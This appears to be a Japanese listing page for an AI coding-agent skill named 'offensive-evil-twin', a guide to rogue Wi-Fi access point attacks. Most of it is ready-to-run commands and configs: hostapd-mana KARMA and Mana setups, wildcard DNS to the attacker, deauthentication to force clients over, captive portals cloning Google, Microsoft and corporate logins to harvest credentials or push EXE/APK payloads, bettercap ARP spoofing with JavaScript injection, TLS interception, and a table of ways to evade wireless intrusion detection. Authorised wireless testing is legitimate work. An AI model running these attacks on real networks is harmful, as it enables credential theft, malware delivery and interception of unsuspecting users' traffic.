offensive-evil-twin について
無線セキュリティテスター向けのEvil Twin、KARMA、Mana攻撃ガイドです。偽アクセスポイント、キャプティブポータル、接続後のトラフィック検査を扱います。
主な機能
- 01対象ESSID向けの偽アクセスポイント構築
- 02KARMAまたはManaによるプローブ応答
- 03認証情報取得やペイロード配信向けポータル設定
- 04接続後の中間者トラフィック検査
活用シーン
- 01公衆またはゲストWi-Fiでのクライアントリスク評価
- 02許可を得た演習での認証情報ポータル検査
- 03プローブや偽アクセスポイントへのデバイス応答確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-evil-twinインストール後、Claude Code で/offensive-evil-twinを入力して読み込まれたか確認します。
詳細
Evil Twin / KARMA / Mana
正規のターゲットと同じように見える(または、より魅力的に見える)APを設置します。クライアントが接続すると、あなたがゲートウェイになり、すべての通信を傍受できます。いわゆる「空港のキャプティブポータル」攻撃パターンを、エンゲージメントに応じた規模で実行します。
クイックワークフロー
- クライアントが探しているターゲット ESSID(PNL — 優先ネットワークリスト)を特定する
- 一致する ESSID を通知する不正 AP を設置する
- (任意)正規 AP からクライアントを切断させ、こちらに接続させる
- キャプティブポータル/透過的な MITM を実行する
- 認証情報を取得する、ペイロードを配信する、またはセッションを収集する
バリエーション
| バリエーション | 仕組み | 用途 |
|---|---|---|
| Evil Twin | 正規 AP と同じ ESSID + BSSID | オープンネットワーク、または PSK が判明しているネットワーク(ISP カフェの Wi-Fi、一般向けゲストネットワーク) |
| KARMA | すべてのプローブ要求に「はい」と応答する | PNL が広範なクライアント(古いデバイスの多く) |
| Mana | クライアントごとにプローブへ選択的に応答する | KARMA を認識する MAC ランダム化対策 |
| 既知ビーコン | 知られていそうな ESSID のリストをビーコンで通知する | 事前にプローブを確認せず、幅広く誘引する |
| キャプティブポータル | 接続時にスプラッシュページを強制表示する | フィッシング、ペイロードの配信 |
オープン/PSK 判明済みの Evil Twin
PSK を把握している(または解読済みの)場合に使用します。
# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal
# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &
# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1 # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d
KARMA — 汎用プローブ応答
# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf
MAC ランダム化を行う最近のクライアントは、ランダムな MAC とランダム化された PNL でプローブします。KARMA の無差別な肯定応答は、クライアントが実際には接続しないプローブにも反応してしまいます。より選択的に応答するには Mana を使用します。
Mana — クライアントごとの選択的応答
# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf
Mana は MAC → ESSID プローブリストを追跡します。その MAC が接続すると、Mana は観測したプローブリストから現実的な ESSID を一つ選び、一貫して応答します。KARMA を認識するクライアント側の緩和策を回避できます。
既知ビーコン攻撃
# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel
これらの名前を PNL に含むデバイスは、ビーコンに引き寄せられて自発的に接続します。プローブを確認できない場合に便利です(最近のデバイスは以前よりプローブのブロードキャストが少なくなっています)。
Deauth による強制
既存のクライアントを正規 AP から切断し、こちらの Evil Twin に接続させます。
# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2
AP の信号を強くする(近くに配置する)か、送信出力を高くすると、クライアントは再接続時にこちらへローミングします。
検知とのトレードオフ: ブロードキャスト deauth は目立ちます。特定のクライアントだけを対象にした deauth のほうが目立ちません。PMF(802.11w)は暗号化されていない deauth をブロックします。offensive-deauth-disassoc を参照してください。
キャプティブポータル/認証情報の取得
# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads
# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080
忠実度の高いポータルを用意するには、正規のキャプティブポータルの HTML/CSS をそのまま複製します。多くのユーザーは URL を読まず、ざっと見るだけです。
接続後の MITM
クライアントが接続し、こちらがゲートウェイになると、次のことが可能です。
# Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)
mitmproxy --mode transparent --showhost --ssl-insecure
# Bettercap full pipeline (sniff, ARP, DNS, JS injection)
sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"
ポータルレベルで CA をインストールしない限り、最新の HTTPS/HSTS/証明書ピンニングによって、ほとんどの TLS 傍受は防止されます。有用なターゲットは次のとおりです。
- キャプティブポータルの平文通信
- ピンニングに不備のあるアプリ(そのアプリに対して
offensive-mobileスキルを実行する) - まだ使われている平文 HTTP サービス(旧式の IoT、古い管理パネル)
- DNS ハイジャック(ピンニングされていないサービスに対して、攻撃者の IP アドレスを返す)
MAC ランダム化の回避
iOS、最近の Android、Windows 11 では、ネットワークごとに MAC アドレスがランダム化されます。それでも、次のようなネットワークごとに安定した識別情報が漏れることがあります。
- SSID ごとの MAC の一貫性(同じ SSID では、時間が経っても同じ MAC を使用する)
- プローブのシーケンス番号
- 802.11 IE の順序(メーカーのフィンガープリント)
# Cluster probes to track devices across MACs
hcxdumptool -i wlan0mon --enable_status=15 --rds=2
# Analyze with hcxhash2cap / wifite-style fingerprinting
検知に関する考慮事項
| 防御側の検知シグナル | 攻撃者による緩和策 |
|---|---|
| 不正 AP の検知(BSSID が WIPS の許可リストにない) | 実際の BSSID に完全一致させ、独自 AP のアドバタイズを抑制する |
| KARMA のパターン(1 台の AP が多数の ESSID に応答する) | Mana モードを使用する |
| RSSI の差(こちらの AP が正規 AP より近い) | 離れた場所から実行し、送信出力を下げる |
| 正規 AP とビーコンのタイミングが一致しない | ビーコン間隔と IE の順序を一致させる |
| キャプティブポータルの HTML が正規ポータルと異なる | 完全に複製し、毎週更新する |
最新のエンタープライズ WIPS は、KARMA をほぼ即座に検知します。Mana と BSSID の一致を組み合わせると、防御側が積極的に隠れた AP をあぶり出さない限り、検知はより困難になります。
エンゲージメント用チートシート
# 1. Recon — passive observe target ESSIDs and clients (no probes from you)
sudo airodump-ng wlan0mon -w probes
# 2. Pick mode based on environment
# - PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth
# - Open networks (cafe, airport): straight evil twin or KARMA
# - Heterogeneous device population: Mana
# 3. Stand up rogue AP
sudo hostapd-mana /tmp/mana.conf
sudo dnsmasq -C /tmp/dnsmasq.conf
# 4. Captive portal / payload delivery / MITM
mitmproxy --mode transparent --showhost --ssl-insecure
# 5. Coerce specific clients if needed (deauth on legit AP)
# 6. Document captures, sessions, and time-on-target
主な参考資料
- hostapd-mana:github.com/sensepost/hostapd-mana
- wifiphisher:wifiphisher.org
- airgeddon:github.com/v1s1t0r1sh3r3/airgeddon
- KARMA / Mana に関するオリジナル講演(DEF CON、Sensepost の研究)
- PNL の悪用に関する研究「Probing into the Past」
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md